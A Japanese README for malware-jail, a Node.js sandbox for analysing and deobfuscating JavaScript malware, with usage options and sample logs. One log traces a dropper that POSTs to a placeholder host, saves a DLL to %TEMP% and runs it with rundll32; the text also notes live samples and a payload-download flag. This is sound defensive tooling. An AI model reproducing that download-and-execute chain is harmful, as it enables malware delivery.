
半自動のJavascriptマルウェア解析、難読化解除、ペイロード抽出のためのサンドボックス。Node.jsで記述。
JavaScriptマルウェアの半自動解析、難読化解除、ペイロード抽出のためのサンドボックス。Node.js用に作成
malware-jailはNodeの'vm'サンドボックス用に作成されています。現在、WScript(Windows Scripting Host)コンテキストenv/wscript.jsを実装しています(少なくともマルウェアが頻繁に使用する部分)。インターネットブラウザコンテキストは部分的に実装されていますenv/browser.js。
任意のオペレーティングシステムで動作します。Linux、Node.js v6.6.0で開発およびテスト済み。
一部のES6機能を使用するため、Node.js >= 6.xが必要です。
分析済みのマルウェアサンプルについてはEXAMPLESを参照してください。
新しいマルウェアサンプルをお持ちの場合は、issueまたはプルリクエストを介してjavascript-malware-collectionに提出してください。
WMIクエリをファイルに列挙します:wmis.json
新しいパラメータを追加:
--t404 - HTTPリクエストは常にHTTP/404を返し、例外をスローします。これにより、すべてのリモートURLの列挙が可能になります。
URLは現在urls.jsonに保存されます。最新のEXAMPLES#malware-of-issue-14を参照。
さまざまなバグ修正と改善。
さまざまなバグ修正と改善。
新しいパラメータを追加:
-t msecs - 実行時間を「msecs」ミリ秒に制限します。デフォルトは60秒です。
--h404 - HTTPリクエストは常にHTTP/404を返し、例外をスローしません。これにより、すべてのリモートURLの列挙が可能になります。
Node.jsとnpmがインストールされている必要があります。
malware-jailはminimist、iconv-lite、entitiesの上に構築されています。
gitでソースをプル:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail
次に、以下のコマンドですべての依存関係(minimist、entities、iconv-lite)をインストール:
npm install
まだ利用できません。近日公開予定...
実際のマルウェアを扱う際は注意してください。このサンドボックスを認識しているマルウェアは、脱出してPCに害を及ぼす可能性があります。 非特権のLinuxアカウントまたは仮想化されたWindowsマシンから実行することをお勧めします。 malwareフォルダ内のAnglerファイルは無効化されていません。
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 - [-o ofile] [-b id] \
7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 - -c config .. use alternative config file, preceed with ./
7 May 20:54:52 - -e ifile ... js that simulates specific environment
7 May 20:54:52 - -o ofile ... name of the file where sandbox shall be dumped at the end
7 May 20:54:52 - -s odir ... output directory for generated files (malware payload)
7 May 20:54:52 - -b id ... browser type, use -b list for possible values
7 May 20:54:52 - -t msecs ... number of miliseconds before terminating execution, default 1 minute
7 May 20:54:52 - --trace ... print stack trace with every log line
7 May 20:54:52 - --down ... allow downloading malware payloads from remote servers
7 May 20:54:52 - --h404 ... on download return always HTTP/404
7 May 20:54:52 - malware ... js with the malware code
7 May 20:54:52 - If no arguments are specified the default values are taken from config.json
7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]
examplesフォルダには無効化されたマルウェアファイルがあります。以下のコマンドで分析を実行:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js
インターネットブラウザベースのマルウェアは以下でテストできます:
node jailme.js -b IE11_W10 malware/example_browser.js
分析の最後に、完全なサンドボックスコンテキストが'sandbox_dump_after.json'ファイルにダンプされます。
'sandbox_dump_after.json'の以下のエントリを調べるとよいでしょう:
'sandbox_dump_after.json'はJSONPathを使用し、JSON-js/cycle.jsによって実装されており、重複または循環参照を同じオブジェクトに保存します。
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 - => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 - => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 - => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been saved to: sandbox_dump_after.json
上記の例では、ペイロードがoutput/_TEMP__49629482.dllおよびoutput/_TEMP__38611354.pdfに抽出されています。
malwareフォルダには実際のマルウェアサンプルが含まれています。ほとんどはhttps://malwr.comからダウンロードされました。
完全なマルウェアサンプルインデックスについてはEXAMPLESを参照してください。
malwr.comから悪意のあるスクリプトを取得:Wileen.js
明らかに、ブラウザ内から実行するとマルウェアは実行されません:
if (typeof document == "undefined") {
したがって、ブラウザ/DOMコンポーネントをロードしない代替設定ファイルを使用するとよいでしょう:
node jailme.js --down=y -c ./config_wscript_only.json malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js